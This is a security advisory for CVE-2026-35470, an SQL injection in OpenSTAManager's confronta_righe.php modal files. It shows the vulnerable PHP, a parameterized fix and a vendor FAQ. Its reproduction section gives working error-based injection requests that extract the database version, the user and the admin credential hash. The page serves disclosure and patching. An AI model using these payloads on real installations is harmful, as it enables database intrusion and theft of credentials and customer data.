CVE-2026-35470

Description

Six confronta_righe.php files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation.

An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.

Affected Files

All 6 vulnerable files share the same code pattern:

Vulnerable Code

All files follow the same pattern. Example from modules/interventi/modals/confronta_righe.php:

$righe = $_GET['righe'];  // Line 29, No sanitization

$righe = $dbo->fetchArray(
    'SELECT
        `mg_articoli_lang`.`title`,
        `mg_articoli`.`codice`,
        `in_righe_interventi`.*
    FROM
        `in_righe_interventi`
        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`
        LEFT JOIN `mg_articoli_lang` ON (...)
    WHERE
        `in_righe_interventi`.`id` IN ('.$righe.')'  // Line 41, Direct concatenation
);

The value of $_GET['righe'] is inserted directly into the SQL IN() clause without using prepare(), parameterized statements or any sanitization function.

Reproduction

Prerequisites

• Authenticated session (any user with module access)
• At least one existing record in the target module (e.g. an intervention with id=1)

Step 1: Extract MySQL version

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23

Result: XPATH syntax error: '~8.3.0'

Step 2: Extract database user

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23

Result: XPATH syntax error: '[email protected]'

Step 3: Extract admin credentials

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23

Result: XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

• Confidentiality (High): Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information
• Integrity (High): Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries
• Availability (High): Deletion of tables or critical data, database corruption

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-35470 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.10.2); upgrading removes the vulnerable code path.

Kodem intelligence

Use parameterized statements with prepare() for the righe parameter:

// BEFORE (vulnerable):
$righe = $_GET['righe'];
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'
);

// AFTER (secure):
$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));
$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',
    $righe_ids
);

This fix must be applied to all 6 files listed in the "Affected Files" section.

1. What is CVE-2026-35470? CVE-2026-35470 is a high-severity SQL injection vulnerability in devcode-it/openstamanager (composer), affecting versions <= 2.10.1. It is fixed in 2.10.2. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-35470? CVE-2026-35470 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of devcode-it/openstamanager are affected by CVE-2026-35470? devcode-it/openstamanager (composer) versions <= 2.10.1 is affected.
4. Is there a fix for CVE-2026-35470? Yes. CVE-2026-35470 is fixed in 2.10.2. Upgrade to this version or later.
5. Is CVE-2026-35470 exploitable, and should I be worried? Whether CVE-2026-35470 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

6. What actually determines whether CVE-2026-35470 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35470? Upgrade devcode-it/openstamanager to 2.10.2 or later.
